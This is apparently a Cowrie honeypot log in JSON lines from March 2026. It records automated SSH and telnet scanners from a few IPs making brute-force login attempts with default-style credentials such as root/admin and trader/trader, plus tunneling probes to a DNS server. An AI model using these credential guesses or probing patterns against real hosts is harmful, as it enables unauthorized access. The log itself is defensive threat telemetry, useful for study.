{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:10:35.399785Z","src_ip":"2.57.122.210","session":"c0eb9696c642","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":41154,"dst_ip":"10.17.0.5","dst_port":22,"session":"8af5a1e03900","protocol":"ssh","message":"New connection: 92.118.39.92:41154 (10.17.0.5:22) [session: 8af5a1e03900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:12:27.629208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:12:27.633958Z","src_ip":"92.118.39.92","session":"8af5a1e03900","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:12:27.745442Z","src_ip":"92.118.39.92","session":"8af5a1e03900","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trade-bot","password":"trade-bot","message":"login attempt [trade-bot/trade-bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:12:28.062370Z","src_ip":"92.118.39.92","session":"8af5a1e03900","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":46860,"dst_ip":"159.203.135.109","dst_port":22,"session":"66fafcc75dae","protocol":"ssh","message":"New connection: 2.57.122.208:46860 (159.203.135.109:22) [session: 66fafcc75dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:12:28.250327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:12:28.320659Z","src_ip":"2.57.122.208","session":"66fafcc75dae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:12:28.414765Z","src_ip":"2.57.122.208","session":"66fafcc75dae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:12:28.960120Z","src_ip":"2.57.122.208","session":"66fafcc75dae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:12:29.168282Z","src_ip":"92.118.39.92","session":"8af5a1e03900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:12:30.107965Z","src_ip":"2.57.122.208","session":"66fafcc75dae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.66.10","src_port":57906,"dst_ip":"10.17.0.5","dst_port":22,"session":"caf3789f1595","protocol":"ssh","message":"New connection: 80.66.66.10:57906 (10.17.0.5:22) [session: caf3789f1595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:12:37.660783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:12:37.665428Z","src_ip":"80.66.66.10","session":"caf3789f1595","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:12:37.777116Z","src_ip":"80.66.66.10","session":"caf3789f1595","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:12:38.112021Z","src_ip":"80.66.66.10","session":"caf3789f1595","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"80.66.66.10","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:12:38.226362Z","session":"caf3789f1595","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:12:38.339480Z","src_ip":"80.66.66.10","session":"caf3789f1595","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:12:38.541167Z","src_ip":"80.66.66.10","session":"caf3789f1595","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":34564,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ab76603583a","protocol":"ssh","message":"New connection: 2.57.122.208:34564 (159.203.135.109:22) [session: 4ab76603583a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:14:39.175742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:14:39.210225Z","src_ip":"2.57.122.208","session":"4ab76603583a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:14:39.321882Z","src_ip":"2.57.122.208","session":"4ab76603583a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:14:39.771182Z","src_ip":"2.57.122.208","session":"4ab76603583a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":57798,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd61f6a2a22d","protocol":"ssh","message":"New connection: 92.118.39.92:57798 (10.17.0.5:22) [session: dd61f6a2a22d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:14:40.781186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:14:40.785114Z","src_ip":"92.118.39.92","session":"dd61f6a2a22d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:14:40.877880Z","src_ip":"2.57.122.208","session":"4ab76603583a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:14:40.881411Z","src_ip":"92.118.39.92","session":"dd61f6a2a22d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trade.bot","password":"trade","message":"login attempt [trade.bot/trade] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:14:41.199749Z","src_ip":"92.118.39.92","session":"dd61f6a2a22d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.93.159","src_port":34724,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ceae216f451","protocol":"telnet","message":"New connection: 172.104.93.159:34724 (10.17.0.5:23) [session: 4ceae216f451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:14:41.316825Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:14:42.319277Z","src_ip":"92.118.39.92","session":"dd61f6a2a22d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.167051792144775,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:14:51.483791Z","src_ip":"172.104.93.159","session":"4ceae216f451","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.66.10","src_port":65098,"dst_ip":"10.17.0.5","dst_port":22,"session":"733ba03e461d","protocol":"ssh","message":"New connection: 80.66.66.10:65098 (10.17.0.5:22) [session: 733ba03e461d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:15:10.153106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:15:10.157989Z","src_ip":"80.66.66.10","session":"733ba03e461d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:15:10.270274Z","src_ip":"80.66.66.10","session":"733ba03e461d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:15:10.606467Z","src_ip":"80.66.66.10","session":"733ba03e461d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"80.66.66.10","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:15:10.720466Z","session":"733ba03e461d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:15:10.834939Z","src_ip":"80.66.66.10","session":"733ba03e461d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:15:10.950967Z","src_ip":"80.66.66.10","session":"733ba03e461d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38000,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f1efca7437e","protocol":"ssh","message":"New connection: 2.57.122.208:38000 (159.203.135.109:22) [session: 6f1efca7437e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:16:47.458409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:16:47.506652Z","src_ip":"2.57.122.208","session":"6f1efca7437e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:16:47.570359Z","src_ip":"2.57.122.208","session":"6f1efca7437e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:16:48.212555Z","src_ip":"2.57.122.208","session":"6f1efca7437e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":46214,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba3e1e7a278a","protocol":"ssh","message":"New connection: 92.118.39.92:46214 (10.17.0.5:22) [session: ba3e1e7a278a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:16:49.185547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:16:49.189910Z","src_ip":"92.118.39.92","session":"ba3e1e7a278a","protocol":"ssh"}
